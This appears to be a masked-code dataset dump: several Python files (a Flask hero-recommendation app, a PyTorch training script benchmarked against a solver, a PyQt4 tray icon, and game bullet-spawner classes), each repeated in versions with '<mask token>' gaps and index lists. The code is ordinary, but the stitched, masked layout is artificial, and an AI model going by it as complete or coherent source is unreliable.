hero_2_prob[hero_id] = prob
if prob > max_prob:
recommended_hero_id = hero_id
max_prob = prob
ret_val = dict()
ret_val['hero_id'] = recommended_hero_id
ret_val['hero_name'] = inverse_hero_mapping[recommended_hero_id]
return ret_val
if __name__ == '__main__':
config = load_site_config('App/model/site_config.json')
hero_mapping, inverse_hero_mapping = load_hero_mapping(config[
'hero_mapping_path'])
model = load_pretrained_model(config['model_path'])
app.run(debug=True)
| from flask import Flask, render_template, url_for, request, jsonify
from model.model import load_site_config, load_hero_mapping, load_pretrained_model, valid_input, data_to_feature
from model.model import combine_list, hero_ids
from itertools import product
import numpy as np
app = Flask(__name__, static_folder='./static')
@app.route('/')
def demo():
return render_template('home.html', hero_mapping=hero_mapping)
@app.route('/predict', methods=['POST'])
def predict():
valid, res = valid_input(list(request.json))
if not valid:
return res
else:
feature = data_to_feature(res)
prob = model.predict_proba(feature)[0]
ret_val = dict()
ret_val[0] = prob[0]
ret_val[1] = prob[1]
return ret_val
@app.route('/recommend', methods=['POST'])
def recommend():
idx = -1
raw_data = list(request.json)
for i, id_str in enumerate(list(request.json)):
if id_str == -1:
idx = i
break
if idx == -1:
return 'ERROR: illegal input.'
predict_side = 0 if idx < 5 else 1
hero_2_prob = dict()
max_prob = 0
recommended_hero_id = -1
for hero_id in hero_ids:
raw_data[idx] = str(hero_id)
valid, current_data = valid_input(raw_data)
if not valid:
continue
feature = data_to_feature(current_data)
prob = model.predict_proba(feature)[0, predict_side]
hero_2_prob[hero_id] = prob
if prob > max_prob:
recommended_hero_id = hero_id
max_prob = prob
ret_val = dict()
ret_val['hero_id'] = recommended_hero_id
ret_val['hero_name'] = inverse_hero_mapping[recommended_hero_id]
return ret_val
if __name__ == '__main__':
config = load_site_config('App/model/site_config.json')
hero_mapping, inverse_hero_mapping = load_hero_mapping(config[
'hero_mapping_path'])
model = load_pretrained_model(config['model_path'])
app.run(debug=True)
| from flask import Flask, render_template, url_for, request, jsonify
from model.model import load_site_config, load_hero_mapping, load_pretrained_model, valid_input, data_to_feature
from model.model import combine_list, hero_ids
from itertools import product
import numpy as np
app = Flask(__name__,static_folder='./static')
@app.route('/')
def demo():
return render_template("home.html",hero_mapping = hero_mapping)
@app.route('/predict', methods=['POST'])
def predict():
# do check to validate data input
valid, res = valid_input(list(request.json))
if not valid:
return res
else:
feature = data_to_feature(res)
prob = model.predict_proba(feature)[0]
# prob: probabilities
ret_val = dict()
ret_val[0] = prob[0]
ret_val[1] = prob[1]
return ret_val
@app.route('/recommend', methods=['POST'])
def recommend():
idx = -1
raw_data = list(request.json)
for i, id_str in enumerate(list(request.json)):
if id_str == -1:
idx = i
break
if idx == -1:
return "ERROR: illegal input."
predict_side = 0 if idx < 5 else 1
hero_2_prob = dict()
max_prob = 0
recommended_hero_id = -1
for hero_id in hero_ids:
raw_data[idx] = str(hero_id)
valid, current_data = valid_input(raw_data)
if not valid:
continue
feature = data_to_feature(current_data)
prob = model.predict_proba(feature)[0,predict_side]
hero_2_prob[hero_id] = prob
if prob > max_prob:
recommended_hero_id = hero_id
max_prob = prob
ret_val = dict()
ret_val['hero_id'] = recommended_hero_id
ret_val['hero_name'] = inverse_hero_mapping[recommended_hero_id]
return ret_val
if __name__ == '__main__':
# site initialization
config = load_site_config('App/model/site_config.json')
hero_mapping, inverse_hero_mapping = load_hero_mapping(config['hero_mapping_path'])
model = load_pretrained_model(config['model_path'])
app.run(debug=True) | [
2,
4,
5,
6,
7
] |
9,930 | 1f63f9234596787e4859b740d3a7fbfaacc9c0c8 | <mask token>
def compute_loss(dataloader, net):
loss = 0
if torch.cuda.is_available():
net.cuda()
net.eval()
n_batches = 0
with torch.no_grad():
for x, y in dataloader:
n_batches += 1
if torch.cuda.is_available():
x = x.cuda()
y = y.cuda()
pred = net(x)
loss += loss_func(pred, y).item()
loss = loss / n_batches
return loss
<mask token>
def zero_pad(values, max_m):
m = len(values)
values += [0] * (max_m - m)
def solve_with_solver(values_copy, n):
return xpress_solver(values_copy, n)
def solve_with_net(values_copy, n):
start = time.time()
sum_vals = sum(values_copy)
new_values = [(val / sum_vals) for val in values_copy]
pred = net(torch.FloatTensor([float(n)] + new_values))
pred_num = float(pred.data[0])
final_result = pred_num * sum_vals
end = time.time()
return final_result, end - start
<mask token>
| <mask token>
def split_to_train_validation(path_to_data):
dataset = CustomDataset(path_to_data)
print(len(dataset))
batch_size = 300
validation_split = 0.2
shuffle_dataset = True
random_seed = 56
dataset_size = len(dataset)
indices = list(range(dataset_size))
split = int(np.floor(validation_split * dataset_size))
if shuffle_dataset:
np.random.seed(random_seed)
np.random.shuffle(indices)
train_indices, val_indices = indices[split:], indices[:split]
print(len(train_indices), len(val_indices))
train_sampler = SubsetRandomSampler(train_indices)
valid_sampler = SubsetRandomSampler(val_indices)
train_loader = DataLoader(dataset, batch_size=batch_size, sampler=
train_sampler)
validation_loader = DataLoader(dataset, batch_size=batch_size, sampler=
valid_sampler)
print(len(train_loader), len(validation_loader))
return train_loader, validation_loader
<mask token>
def compute_loss(dataloader, net):
loss = 0
if torch.cuda.is_available():
net.cuda()
net.eval()
n_batches = 0
with torch.no_grad():
for x, y in dataloader:
n_batches += 1
if torch.cuda.is_available():
x = x.cuda()
y = y.cuda()
pred = net(x)
loss += loss_func(pred, y).item()
loss = loss / n_batches
return loss
<mask token>
def zero_pad(values, max_m):
m = len(values)
values += [0] * (max_m - m)
def solve_with_solver(values_copy, n):
return xpress_solver(values_copy, n)
def solve_with_net(values_copy, n):
start = time.time()
sum_vals = sum(values_copy)
new_values = [(val / sum_vals) for val in values_copy]
pred = net(torch.FloatTensor([float(n)] + new_values))
pred_num = float(pred.data[0])
final_result = pred_num * sum_vals
end = time.time()
return final_result, end - start
def test_net(path):
max_m = 100
filelist = glob.glob(path + '/*.json')
print(len(filelist))
test_result = dict()
filelist_len = len(filelist)
for count, filename in enumerate(filelist):
n, m, max_val = get_params_from_filename(filename)
data_list_in_file = []
with open(filename) as jsonFile:
data_list_in_file = json.load(jsonFile)
idx = random.randint(0, len(data_list_in_file) - 1)
example = data_list_in_file[idx]
values = example[0]['values']
values_copy = copy.deepcopy(values)
values_copy.sort(reverse=True)
solver_result, solver_time = solve_with_solver(values_copy, n)
zero_pad(values_copy, max_m)
net_result, net_time = solve_with_net(values_copy, n)
test_result[str((n, m, max_val))] = {'values_idx': idx,
'solver_result': solver_result, 'solver_time': solver_time,
'net_result': net_result, 'net_time': net_time}
if count % 20 == 0:
print(count, 'out of', filelist_len)
test_result_path = './TestResults/test_results.json'
with open(test_result_path, 'w+') as json_file:
json.dump(test_result, json_file, indent=4)
<mask token>
| <mask token>
def split_to_train_validation(path_to_data):
dataset = CustomDataset(path_to_data)
print(len(dataset))
batch_size = 300
validation_split = 0.2
shuffle_dataset = True
random_seed = 56
dataset_size = len(dataset)
indices = list(range(dataset_size))
split = int(np.floor(validation_split * dataset_size))
if shuffle_dataset:
np.random.seed(random_seed)
np.random.shuffle(indices)
train_indices, val_indices = indices[split:], indices[:split]
print(len(train_indices), len(val_indices))
train_sampler = SubsetRandomSampler(train_indices)
valid_sampler = SubsetRandomSampler(val_indices)
train_loader = DataLoader(dataset, batch_size=batch_size, sampler=
train_sampler)
validation_loader = DataLoader(dataset, batch_size=batch_size, sampler=
valid_sampler)
print(len(train_loader), len(validation_loader))
return train_loader, validation_loader
<mask token>
def compute_loss(dataloader, net):
loss = 0
if torch.cuda.is_available():
net.cuda()
net.eval()
n_batches = 0
with torch.no_grad():
for x, y in dataloader:
n_batches += 1
if torch.cuda.is_available():
x = x.cuda()
y = y.cuda()
pred = net(x)
loss += loss_func(pred, y).item()
loss = loss / n_batches
return loss
<mask token>
if torch.cuda.is_available():
net.cuda()
for epoch in pbar:
if len(validation_loss_vs_epoch) > 1:
print('epoch', epoch, ' val loss:' + '{0:.5f}'.format(
validation_loss_vs_epoch[-1]))
net.train()
for x, y in train_loader:
y = y.to(torch.float32)
if torch.cuda.is_available():
x = x.cuda()
y = y.cuda()
optimizer.zero_grad()
pred = net(x)
loss = loss_func(pred, y)
loss.backward()
optimizer.step()
net.eval()
valid_loss = compute_loss(validation_loader, net)
validation_loss_vs_epoch.append(valid_loss)
def zero_pad(values, max_m):
m = len(values)
values += [0] * (max_m - m)
def solve_with_solver(values_copy, n):
return xpress_solver(values_copy, n)
def solve_with_net(values_copy, n):
start = time.time()
sum_vals = sum(values_copy)
new_values = [(val / sum_vals) for val in values_copy]
pred = net(torch.FloatTensor([float(n)] + new_values))
pred_num = float(pred.data[0])
final_result = pred_num * sum_vals
end = time.time()
return final_result, end - start
def test_net(path):
max_m = 100
filelist = glob.glob(path + '/*.json')
print(len(filelist))
test_result = dict()
filelist_len = len(filelist)
for count, filename in enumerate(filelist):
n, m, max_val = get_params_from_filename(filename)
data_list_in_file = []
with open(filename) as jsonFile:
data_list_in_file = json.load(jsonFile)
idx = random.randint(0, len(data_list_in_file) - 1)
example = data_list_in_file[idx]
values = example[0]['values']
values_copy = copy.deepcopy(values)
values_copy.sort(reverse=True)
solver_result, solver_time = solve_with_solver(values_copy, n)
zero_pad(values_copy, max_m)
net_result, net_time = solve_with_net(values_copy, n)
test_result[str((n, m, max_val))] = {'values_idx': idx,
'solver_result': solver_result, 'solver_time': solver_time,
'net_result': net_result, 'net_time': net_time}
if count % 20 == 0:
print(count, 'out of', filelist_len)
test_result_path = './TestResults/test_results.json'
with open(test_result_path, 'w+') as json_file:
json.dump(test_result, json_file, indent=4)
test_net(path_to_data)
| import random
import glob
import json
import time
from torch.utils.data import Dataset, DataLoader, SubsetRandomSampler
from SimpleDataLoader import CustomDataset, get_params_from_filename
import numpy as np
from DNN_model import Net
import torch.optim as optim
import torch.nn as nn
import torch
from tqdm import tqdm
from MMS_compute import xpress_solver
import copy
path_to_data = 'Dataset'
def split_to_train_validation(path_to_data):
dataset = CustomDataset(path_to_data)
print(len(dataset))
batch_size = 300
validation_split = 0.2
shuffle_dataset = True
random_seed = 56
dataset_size = len(dataset)
indices = list(range(dataset_size))
split = int(np.floor(validation_split * dataset_size))
if shuffle_dataset:
np.random.seed(random_seed)
np.random.shuffle(indices)
train_indices, val_indices = indices[split:], indices[:split]
print(len(train_indices), len(val_indices))
train_sampler = SubsetRandomSampler(train_indices)
valid_sampler = SubsetRandomSampler(val_indices)
train_loader = DataLoader(dataset, batch_size=batch_size, sampler=
train_sampler)
validation_loader = DataLoader(dataset, batch_size=batch_size, sampler=
valid_sampler)
print(len(train_loader), len(validation_loader))
return train_loader, validation_loader
train_loader, validation_loader = split_to_train_validation(path_to_data)
net = Net()
loss_func = nn.MSELoss()
optimizer = optim.Adam(net.parameters(), lr=0.0001)
def compute_loss(dataloader, net):
loss = 0
if torch.cuda.is_available():
net.cuda()
net.eval()
n_batches = 0
with torch.no_grad():
for x, y in dataloader:
n_batches += 1
if torch.cuda.is_available():
x = x.cuda()
y = y.cuda()
pred = net(x)
loss += loss_func(pred, y).item()
loss = loss / n_batches
return loss
n_epochs = 50
pbar = tqdm(range(n_epochs))
validation_loss_vs_epoch = []
if torch.cuda.is_available():
net.cuda()
for epoch in pbar:
if len(validation_loss_vs_epoch) > 1:
print('epoch', epoch, ' val loss:' + '{0:.5f}'.format(
validation_loss_vs_epoch[-1]))
net.train()
for x, y in train_loader:
y = y.to(torch.float32)
if torch.cuda.is_available():
x = x.cuda()
y = y.cuda()
optimizer.zero_grad()
pred = net(x)
loss = loss_func(pred, y)
loss.backward()
optimizer.step()
net.eval()
valid_loss = compute_loss(validation_loader, net)
validation_loss_vs_epoch.append(valid_loss)
def zero_pad(values, max_m):
m = len(values)
values += [0] * (max_m - m)
def solve_with_solver(values_copy, n):
return xpress_solver(values_copy, n)
def solve_with_net(values_copy, n):
start = time.time()
sum_vals = sum(values_copy)
new_values = [(val / sum_vals) for val in values_copy]
pred = net(torch.FloatTensor([float(n)] + new_values))
pred_num = float(pred.data[0])
final_result = pred_num * sum_vals
end = time.time()
return final_result, end - start
def test_net(path):
max_m = 100
filelist = glob.glob(path + '/*.json')
print(len(filelist))
test_result = dict()
filelist_len = len(filelist)
for count, filename in enumerate(filelist):
n, m, max_val = get_params_from_filename(filename)
data_list_in_file = []
with open(filename) as jsonFile:
data_list_in_file = json.load(jsonFile)
idx = random.randint(0, len(data_list_in_file) - 1)
example = data_list_in_file[idx]
values = example[0]['values']
values_copy = copy.deepcopy(values)
values_copy.sort(reverse=True)
solver_result, solver_time = solve_with_solver(values_copy, n)
zero_pad(values_copy, max_m)
net_result, net_time = solve_with_net(values_copy, n)
test_result[str((n, m, max_val))] = {'values_idx': idx,
'solver_result': solver_result, 'solver_time': solver_time,
'net_result': net_result, 'net_time': net_time}
if count % 20 == 0:
print(count, 'out of', filelist_len)
test_result_path = './TestResults/test_results.json'
with open(test_result_path, 'w+') as json_file:
json.dump(test_result, json_file, indent=4)
test_net(path_to_data)
| import random
import glob
import json
import time
from torch.utils.data import Dataset, DataLoader, SubsetRandomSampler
from SimpleDataLoader import CustomDataset, get_params_from_filename
import numpy as np
from DNN_model import Net
import torch.optim as optim
import torch.nn as nn
import torch
from tqdm import tqdm
from MMS_compute import xpress_solver
import copy
path_to_data = 'Dataset'
def split_to_train_validation(path_to_data):
dataset = CustomDataset(path_to_data)
print(len(dataset))
batch_size = 300
validation_split = 0.2
shuffle_dataset = True
random_seed= 56
dataset_size = len(dataset)
indices = list(range(dataset_size))
split = int(np.floor(validation_split * dataset_size))
if shuffle_dataset :
np.random.seed(random_seed)
np.random.shuffle(indices)
train_indices, val_indices = indices[split:], indices[:split]
print(len(train_indices), len(val_indices))
# Creating PT data samplers and loaders:
train_sampler = SubsetRandomSampler(train_indices)
valid_sampler = SubsetRandomSampler(val_indices)
train_loader = DataLoader(dataset, batch_size=batch_size,
sampler=train_sampler)
validation_loader = DataLoader(dataset, batch_size=batch_size,
sampler=valid_sampler)
print(len(train_loader), len(validation_loader))
return train_loader, validation_loader
train_loader, validation_loader = split_to_train_validation(path_to_data)
net = Net()
loss_func = nn.MSELoss()
# loss_func = nn.L1Loss()
optimizer = optim.Adam(net.parameters(), lr=1e-4)
def compute_loss(dataloader, net):
loss = 0
if torch.cuda.is_available():
net.cuda()
net.eval()
n_batches = 0
with torch.no_grad():
for x, y in dataloader:
n_batches += 1
if torch.cuda.is_available():
x = x.cuda()
y = y.cuda()
pred = net(x)
loss += loss_func(pred, y).item()
loss = loss / n_batches
return loss
n_epochs = 50
pbar = tqdm(range(n_epochs))
validation_loss_vs_epoch = []
if torch.cuda.is_available():
net.cuda()
for epoch in pbar:
if len(validation_loss_vs_epoch) > 1:
print('epoch', epoch, ' val loss:' + '{0:.5f}'.format(validation_loss_vs_epoch[-1]))
net.train() # put the net into "training mode"
for x, y in train_loader:
y = y.to(torch.float32)
if torch.cuda.is_available():
x = x.cuda()
y = y.cuda()
optimizer.zero_grad()
pred = net(x)
loss = loss_func(pred, y)
loss.backward()
optimizer.step()
net.eval() # put the net into evaluation mode
valid_loss = compute_loss(validation_loader, net)
validation_loss_vs_epoch.append(valid_loss)
# n = 5
# m = 50
# max_val = 100
# values = [random.randrange(0, max_val + 1) for _ in range(m)]
# values.sort(reverse=True)
# values += [0]*50
# mms = xpress_solver(values,n)[0]
# sum_vals = sum(values)
# new_values = [val/sum_vals for val in values]
# pred = net(torch.FloatTensor([float(n)]+new_values))
# pred_num = float(pred.data[0])
# print(pred, mms, pred*sum_vals)
# print(pred_num*sum_vals)
def zero_pad(values, max_m):
m = len(values)
values += [0] * (max_m - m)
def solve_with_solver(values_copy, n):
return xpress_solver(values_copy, n)
def solve_with_net(values_copy, n):
start = time.time()
sum_vals = sum(values_copy)
new_values = [val / sum_vals for val in values_copy]
pred = net(torch.FloatTensor([float(n)] + new_values))
pred_num = float(pred.data[0])
final_result = pred_num*sum_vals
end = time.time()
return final_result, end-start
def test_net(path):
max_m = 100
filelist = glob.glob(path + '/*.json')
print(len(filelist))
test_result = dict()
filelist_len = len(filelist)
for count, filename in enumerate(filelist):
n, m, max_val = get_params_from_filename(filename)
data_list_in_file = []
with open(filename) as jsonFile:
data_list_in_file = json.load(jsonFile)
idx = random.randint(0, len(data_list_in_file)-1)
example=data_list_in_file[idx]
values = example[0]["values"]
values_copy = copy.deepcopy(values)
values_copy.sort(reverse=True)
solver_result, solver_time = solve_with_solver(values_copy, n)
zero_pad(values_copy, max_m)
net_result, net_time = solve_with_net(values_copy, n)
test_result[str((n, m, max_val))] = {
'values_idx': idx,
'solver_result': solver_result,
'solver_time':solver_time,
'net_result':net_result,
'net_time':net_time
}
if count % 20 == 0:
print(count, 'out of', filelist_len)
test_result_path = './TestResults/test_results.json'
with open(test_result_path, 'w+') as json_file:
json.dump(test_result, json_file, indent=4)
test_net(path_to_data) | [
4,
6,
7,
9,
10
] |
9,931 | c6e315d7dd44b998f64eee079f2d8455ffecdc30 | <mask token>
class SystemTrayIcon(QSystemTrayIcon):
<mask token>
<mask token>
def set_icon_state(self, state):
pixmap = QApplication.instance().windowIcon().pixmap(256, 256, state)
self.setIcon(QIcon(pixmap))
| <mask token>
class SystemTrayIcon(QSystemTrayIcon):
def __init__(self, parent=None):
super(SystemTrayIcon, self).__init__(parent)
self.set_icon_state(QIcon.Disabled)
menu = QMenu(parent)
self.exit_action = menu.addAction('E&xit')
self.exit_action.triggered.connect(self.close_application)
self.setContextMenu(menu)
self.setToolTip(QApplication.instance().applicationName())
<mask token>
def set_icon_state(self, state):
pixmap = QApplication.instance().windowIcon().pixmap(256, 256, state)
self.setIcon(QIcon(pixmap))
| <mask token>
class SystemTrayIcon(QSystemTrayIcon):
def __init__(self, parent=None):
super(SystemTrayIcon, self).__init__(parent)
self.set_icon_state(QIcon.Disabled)
menu = QMenu(parent)
self.exit_action = menu.addAction('E&xit')
self.exit_action.triggered.connect(self.close_application)
self.setContextMenu(menu)
self.setToolTip(QApplication.instance().applicationName())
def close_application(self):
self.parent().close()
def set_icon_state(self, state):
pixmap = QApplication.instance().windowIcon().pixmap(256, 256, state)
self.setIcon(QIcon(pixmap))
| from PyQt4.QtGui import QSystemTrayIcon, QApplication, QMenu, QIcon
class SystemTrayIcon(QSystemTrayIcon):
def __init__(self, parent=None):
super(SystemTrayIcon, self).__init__(parent)
self.set_icon_state(QIcon.Disabled)
menu = QMenu(parent)
self.exit_action = menu.addAction('E&xit')
self.exit_action.triggered.connect(self.close_application)
self.setContextMenu(menu)
self.setToolTip(QApplication.instance().applicationName())
def close_application(self):
self.parent().close()
def set_icon_state(self, state):
pixmap = QApplication.instance().windowIcon().pixmap(256, 256, state)
self.setIcon(QIcon(pixmap))
| from PyQt4.QtGui import QSystemTrayIcon, QApplication, QMenu, QIcon
class SystemTrayIcon(QSystemTrayIcon):
def __init__(self, parent=None):
super(SystemTrayIcon, self).__init__(parent)
self.set_icon_state(QIcon.Disabled)
menu = QMenu(parent)
self.exit_action = menu.addAction('E&xit')
self.exit_action.triggered.connect(self.close_application)
self.setContextMenu(menu)
self.setToolTip(QApplication.instance().applicationName())
def close_application(self):
self.parent().close()
def set_icon_state(self, state):
pixmap = QApplication.instance().windowIcon().pixmap(256, 256, state)
self.setIcon(QIcon(pixmap))
| [
2,
3,
4,
5,
6
] |
9,932 | 519746450826d02230a492a99e0b518602d53fcb | <mask token>
class BulletSpawnerTemplate(object):
<mask token>
<mask token>
def setRounds(self, rounds):
self._rounds = rounds
<mask token>
<mask token>
<mask token>
<mask token>
<mask token>
<mask token>
class BulletMasterTemplate(object):
def __init__(self, name):
self._name = name
self._bulletSpawnerTemplates = []
self._powerUpTable = {'life': 0, 'power': 0, 'spell': 0, 'points': 0}
def addBulletSpawnerTemplates(self, bulletSpawnerTemplate):
self._bulletSpawnerTemplates.append(bulletSpawnerTemplate)
class Bullet(MovementCommander):
def __init__(self, bulletTemplate, position, exitAngle, master,
spawningCycle):
temp = copy.deepcopy(bulletTemplate._initialVelocity)
temp._angle = temp._angle + exitAngle
super().__init__(position, temp, spawningCycle)
self.addStartingParameters(position, temp)
self._animationName = bulletTemplate._animationName
for i in bulletTemplate._movementList:
self.addMovementCommandDirect(i, bulletTemplate._movementList[i])
self.calculatePositions(master, master._playerPosition, [-100, -100,
1620, 1180], None)
class BulletSpawner(MovementCommander):
def __init__(self, bulletSpawnerTemplate, masterPosition, master, enemy,
spawningCycle):
self._internalCounter = 0
self._exitLocations = []
self._displacement = 0.0
self._master = master
self._displacement = bulletSpawnerTemplate._displacement
for i in bulletSpawnerTemplate._exitLocations:
self._exitLocations.append(i)
self._rotationSpeed = bulletSpawnerTemplate._rotationSpeed
self._bulletTemplate = bulletSpawnerTemplate._bulletTemplate
self._spawningCycle = enemy._spawningCycle
self._seenCycle = enemy._spawningCycle
self._deathCycle = enemy._deathCycle
self._sprayTimer = bulletSpawnerTemplate._sprayTimer
self._initialDelay = bulletSpawnerTemplate._initialDelay
try:
self._lengthOfSpray = max(self._sprayTimer)
except ValueError:
self._lengthOfSpray = 0
self._inBetweenTimer = bulletSpawnerTemplate._inBetweenTimer
self._rounds = bulletSpawnerTemplate._rounds
super().__init__(bulletSpawnerTemplate._initialPosition,
bulletSpawnerTemplate._initialVelocity, spawningCycle)
self.calculatePositions(master, master._playerPosition, None,
masterPosition)
self._maskName = bulletSpawnerTemplate._maskName
self._maskLayer = bulletSpawnerTemplate._maskLayer
def calculateBullets(self):
returnList = []
mode = 'initialDelayMode'
switchCounter = -1
currentRound = 0
for i in self._positionList:
self._internalCounter = self._internalCounter + 1
switchCounter = switchCounter + 1
if mode == 'initialDelayMode':
if switchCounter >= self._initialDelay:
mode = 'sprayMode'
switchCounter = -1
self._seenCycle = (self._spawningCycle + self.
_internalCounter)
elif mode == 'sprayMode':
if switchCounter in self._sprayTimer:
for j in self._exitLocations:
offset = CUS_Polar(self._displacement, j)
pos = CUS_Point(0.0, 0.0)
pos.add(toPoint(offset))
pos._x = pos._x + i._x
pos._y = pos._y + i._y
bullet = Bullet(self._bulletTemplate, pos, j, self.
_master, self._spawningCycle + self.
_internalCounter)
returnList.append(bullet)
if switchCounter >= self._lengthOfSpray:
mode = 'inBetweenTimerMode'
currentRound = currentRound + 1
switchCounter = -1
elif mode == 'inBetweenTimerMode':
if switchCounter >= self._inBetweenTimer:
mode = 'sprayMode'
switchCounter = -1
if currentRound >= self._rounds and self._rounds is not -1:
mode = 'sprayOverMode'
self._deathCycle = (self._spawningCycle + self.
_internalCounter)
return returnList
class BulletMaster(object):
def __init__(self, bulletMasterTemplate, masterPositionList, master,
enemy, spawningCycle):
self._name = bulletMasterTemplate._name
self._bulletSpawners = []
for i in bulletMasterTemplate._bulletSpawnerTemplates:
self._bulletSpawners.append(BulletSpawner(i, masterPositionList,
master, enemy, spawningCycle))
def calculateBullets(self):
returnList = []
for i in self._bulletSpawners:
returnList.extend(i.calculateBullets())
return returnList
| <mask token>
class BulletSpawnerTemplate(object):
def __init__(self, initialPosition, initialVelocity):
self._spawningCycle = 0
self._initialPosition = initialPosition
self._initialVelocity = initialVelocity
self._movementList = dict()
self._displacement = 0
self._exitLocations = []
self._rotationSpeed = 0
self._initialDelay = 0
self._sprayTimer = []
self._inBetweenTimer = 0
self._rounds = -1
self._bulletTemplate = None
self._maskName = ''
self._maskLayer = 0
<mask token>
def setRounds(self, rounds):
self._rounds = rounds
def setInitialDelay(self, initialDelay):
self._initialDelay = initialDelay
def setInBetweenTimer(self, delay):
self._inBetweenTimer = delay
def addExitLocation(self, location):
self._exitLocations.append(location)
def addBulletTemplate(self, bulletTemplate):
self._bulletTemplate = bulletTemplate
def addMovementCommand(self, cycle, movementCommand):
self._movementList[cycle] = movementCommand
def addMask(self, maskName, maskLayer):
self._maskName = maskName
self._maskLayer = maskLayer
class BulletMasterTemplate(object):
def __init__(self, name):
self._name = name
self._bulletSpawnerTemplates = []
self._powerUpTable = {'life': 0, 'power': 0, 'spell': 0, 'points': 0}
def addBulletSpawnerTemplates(self, bulletSpawnerTemplate):
self._bulletSpawnerTemplates.append(bulletSpawnerTemplate)
class Bullet(MovementCommander):
def __init__(self, bulletTemplate, position, exitAngle, master,
spawningCycle):
temp = copy.deepcopy(bulletTemplate._initialVelocity)
temp._angle = temp._angle + exitAngle
super().__init__(position, temp, spawningCycle)
self.addStartingParameters(position, temp)
self._animationName = bulletTemplate._animationName
for i in bulletTemplate._movementList:
self.addMovementCommandDirect(i, bulletTemplate._movementList[i])
self.calculatePositions(master, master._playerPosition, [-100, -100,
1620, 1180], None)
class BulletSpawner(MovementCommander):
def __init__(self, bulletSpawnerTemplate, masterPosition, master, enemy,
spawningCycle):
self._internalCounter = 0
self._exitLocations = []
self._displacement = 0.0
self._master = master
self._displacement = bulletSpawnerTemplate._displacement
for i in bulletSpawnerTemplate._exitLocations:
self._exitLocations.append(i)
self._rotationSpeed = bulletSpawnerTemplate._rotationSpeed
self._bulletTemplate = bulletSpawnerTemplate._bulletTemplate
self._spawningCycle = enemy._spawningCycle
self._seenCycle = enemy._spawningCycle
self._deathCycle = enemy._deathCycle
self._sprayTimer = bulletSpawnerTemplate._sprayTimer
self._initialDelay = bulletSpawnerTemplate._initialDelay
try:
self._lengthOfSpray = max(self._sprayTimer)
except ValueError:
self._lengthOfSpray = 0
self._inBetweenTimer = bulletSpawnerTemplate._inBetweenTimer
self._rounds = bulletSpawnerTemplate._rounds
super().__init__(bulletSpawnerTemplate._initialPosition,
bulletSpawnerTemplate._initialVelocity, spawningCycle)
self.calculatePositions(master, master._playerPosition, None,
masterPosition)
self._maskName = bulletSpawnerTemplate._maskName
self._maskLayer = bulletSpawnerTemplate._maskLayer
def calculateBullets(self):
returnList = []
mode = 'initialDelayMode'
switchCounter = -1
currentRound = 0
for i in self._positionList:
self._internalCounter = self._internalCounter + 1
switchCounter = switchCounter + 1
if mode == 'initialDelayMode':
if switchCounter >= self._initialDelay:
mode = 'sprayMode'
switchCounter = -1
self._seenCycle = (self._spawningCycle + self.
_internalCounter)
elif mode == 'sprayMode':
if switchCounter in self._sprayTimer:
for j in self._exitLocations:
offset = CUS_Polar(self._displacement, j)
pos = CUS_Point(0.0, 0.0)
pos.add(toPoint(offset))
pos._x = pos._x + i._x
pos._y = pos._y + i._y
bullet = Bullet(self._bulletTemplate, pos, j, self.
_master, self._spawningCycle + self.
_internalCounter)
returnList.append(bullet)
if switchCounter >= self._lengthOfSpray:
mode = 'inBetweenTimerMode'
currentRound = currentRound + 1
switchCounter = -1
elif mode == 'inBetweenTimerMode':
if switchCounter >= self._inBetweenTimer:
mode = 'sprayMode'
switchCounter = -1
if currentRound >= self._rounds and self._rounds is not -1:
mode = 'sprayOverMode'
self._deathCycle = (self._spawningCycle + self.
_internalCounter)
return returnList
class BulletMaster(object):
def __init__(self, bulletMasterTemplate, masterPositionList, master,
enemy, spawningCycle):
self._name = bulletMasterTemplate._name
self._bulletSpawners = []
for i in bulletMasterTemplate._bulletSpawnerTemplates:
self._bulletSpawners.append(BulletSpawner(i, masterPositionList,
master, enemy, spawningCycle))
def calculateBullets(self):
returnList = []
for i in self._bulletSpawners:
returnList.extend(i.calculateBullets())
return returnList
| <mask token>
class BulletSpawnerTemplate(object):
def __init__(self, initialPosition, initialVelocity):
self._spawningCycle = 0
self._initialPosition = initialPosition
self._initialVelocity = initialVelocity
self._movementList = dict()
self._displacement = 0
self._exitLocations = []
self._rotationSpeed = 0
self._initialDelay = 0
self._sprayTimer = []
self._inBetweenTimer = 0
self._rounds = -1
self._bulletTemplate = None
self._maskName = ''
self._maskLayer = 0
def addSprayTimer(self, sprayTimer):
self._sprayTimer.extend(sprayTimer)
def setRounds(self, rounds):
self._rounds = rounds
def setInitialDelay(self, initialDelay):
self._initialDelay = initialDelay
def setInBetweenTimer(self, delay):
self._inBetweenTimer = delay
def addExitLocation(self, location):
self._exitLocations.append(location)
def addBulletTemplate(self, bulletTemplate):
self._bulletTemplate = bulletTemplate
def addMovementCommand(self, cycle, movementCommand):
self._movementList[cycle] = movementCommand
def addMask(self, maskName, maskLayer):
self._maskName = maskName
self._maskLayer = maskLayer
class BulletMasterTemplate(object):
def __init__(self, name):
self._name = name
self._bulletSpawnerTemplates = []
self._powerUpTable = {'life': 0, 'power': 0, 'spell': 0, 'points': 0}
def addBulletSpawnerTemplates(self, bulletSpawnerTemplate):
self._bulletSpawnerTemplates.append(bulletSpawnerTemplate)
class Bullet(MovementCommander):
def __init__(self, bulletTemplate, position, exitAngle, master,
spawningCycle):
temp = copy.deepcopy(bulletTemplate._initialVelocity)
temp._angle = temp._angle + exitAngle
super().__init__(position, temp, spawningCycle)
self.addStartingParameters(position, temp)
self._animationName = bulletTemplate._animationName
for i in bulletTemplate._movementList:
self.addMovementCommandDirect(i, bulletTemplate._movementList[i])
self.calculatePositions(master, master._playerPosition, [-100, -100,
1620, 1180], None)
class BulletSpawner(MovementCommander):
def __init__(self, bulletSpawnerTemplate, masterPosition, master, enemy,
spawningCycle):
self._internalCounter = 0
self._exitLocations = []
self._displacement = 0.0
self._master = master
self._displacement = bulletSpawnerTemplate._displacement
for i in bulletSpawnerTemplate._exitLocations:
self._exitLocations.append(i)
self._rotationSpeed = bulletSpawnerTemplate._rotationSpeed
self._bulletTemplate = bulletSpawnerTemplate._bulletTemplate
self._spawningCycle = enemy._spawningCycle
self._seenCycle = enemy._spawningCycle
self._deathCycle = enemy._deathCycle
self._sprayTimer = bulletSpawnerTemplate._sprayTimer
self._initialDelay = bulletSpawnerTemplate._initialDelay
try:
self._lengthOfSpray = max(self._sprayTimer)
except ValueError:
self._lengthOfSpray = 0
self._inBetweenTimer = bulletSpawnerTemplate._inBetweenTimer
self._rounds = bulletSpawnerTemplate._rounds
super().__init__(bulletSpawnerTemplate._initialPosition,
bulletSpawnerTemplate._initialVelocity, spawningCycle)
